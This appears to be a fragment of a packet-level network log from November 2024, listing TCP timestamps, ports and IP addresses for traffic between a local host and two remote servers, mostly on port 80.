Nov 29, 2024 19:49:40.799468994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.799519062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.799551010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.799597025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.800780058 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.800822973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.800884962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.800925016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.802143097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.802186966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.802257061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.802299023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.803638935 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.803652048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.803678989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.803698063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.804819107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.804863930 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.804923058 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.804965973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.806144953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.806191921 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.806297064 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.806334972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.807523966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.807575941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.807605028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.807643890 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.808850050 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.808906078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.808932066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.808974981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.810216904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.810270071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.810308933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.810347080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.811532974 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.811588049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.811620951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.811661959 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.812880993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.812937975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.812987089 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.813028097 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.814239979 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.814291000 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.814323902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.814367056 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.815834999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.815849066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.815891981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.816911936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.816972971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.816975117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.817024946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.818316936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.818368912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.818437099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.818480968 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.819659948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.819715023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.819741964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.819781065 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.820955992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.820998907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.821037054 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.821077108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.822346926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.822391033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.822523117 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.822565079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.823688030 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.823730946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.823761940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.823801994 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.825037956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.825089931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.825112104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.825149059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.826361895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.826414108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.826432943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.826487064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.827989101 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.828001976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.828032017 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.828042984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.829020977 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.829066038 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.829195976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.829236031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.830413103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.830456972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.830563068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.830602884 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.831782103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.831830025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.831876040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.831914902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.833048105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.833092928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.833162069 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.833209991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.834420919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.834467888 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.834623098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.834666014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.835786104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.835827112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.835859060 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.835905075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.837081909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.837131023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.837182999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.837222099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.838496923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.838542938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.951941013 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.952004910 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.952091932 CET	49776	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.969233036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.969324112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.969383001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.969424963 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.969554901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.969575882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.969597101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.969623089 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.970824957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.970871925 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.971010923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.971054077 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.972084045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.972141981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.972145081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.972191095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.973335981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.973387003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.973392010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.973434925 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.974544048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.974591970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.974631071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.974672079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.975842953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.975867033 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.975886106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.975908041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.976139069 CET	49776	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.976166964 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.976180077 CET	49776	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.976186991 CET	443	49776	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.977178097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.977200031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.977236986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.977255106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.978338003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.978393078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.978418112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.978454113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.979406118 CET	49781	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.979444981 CET	443	49781	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.979528904 CET	49781	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.979645967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.979697943 CET	49781	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:40.979698896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.979707003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.979710102 CET	443	49781	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:40.979754925 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.980896950 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.980968952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.980983019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.981024981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.982184887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.982223988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.982294083 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.982336044 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.983541965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.983587980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.983618021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.983660936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.984708071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.984770060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.984783888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.984952927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.985783100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.985814095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.985841036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.985856056 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.987010956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.987061977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.987103939 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.987200975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.988205910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.988250971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.988336086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.988384962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.989572048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.989625931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.989653111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.989700079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.990792990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.990839958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.990858078 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.990897894 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.992204905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.992238045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.992258072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.992271900 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.993267059 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.993314028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.993340969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.993379116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.994739056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.994785070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.994807959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.994843960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.995691061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.995733976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.995805025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.995845079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.996916056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.996968031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.997004986 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.997044086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.998234034 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.998307943 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.998311043 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.998369932 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.999480963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.999512911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:40.999533892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:40.999547958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.000689983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.000737906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.000773907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.000813961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.001894951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.001934052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.002048016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.002089024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.003165960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.003209114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.003237963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.003278971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.004381895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.004434109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.004492044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.004534960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.005647898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.005695105 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.005759001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.005803108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.006881952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.006942034 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.006999969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.007040024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.008152008 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.008194923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.008271933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.008317947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.009371996 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.009424925 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.009480953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.009521961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.010626078 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.010678053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.010710955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.010754108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.011852026 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.011900902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.011953115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.012000084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.013147116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.013192892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.013194084 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.013233900 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.014378071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.014424086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.014442921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.014481068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.015626907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.015683889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.015748024 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.015784025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.016835928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.016890049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.017038107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.017081022 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.018184900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.018239975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.018240929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.018276930 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.019359112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.019428968 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.019450903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.019499063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.020596981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.020639896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.020762920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.020807028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.022017002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.022063017 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.022171021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.022212029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.023057938 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.023097992 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.023160934 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.023201942 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.024297953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.024347067 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.024455070 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.024497032 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.025542021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.025590897 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.025681973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.025727987 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.026902914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.027036905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.028107882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.028170109 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.028214931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.028256893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.029330015 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.029393911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.029398918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.029437065 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.030536890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.030596972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.030631065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.030673981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.032113075 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.032126904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.032176018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.033042908 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.033103943 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.033138990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.033189058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.034255981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.034303904 CET	49772	80	192.168.2.5	185.215.113.206
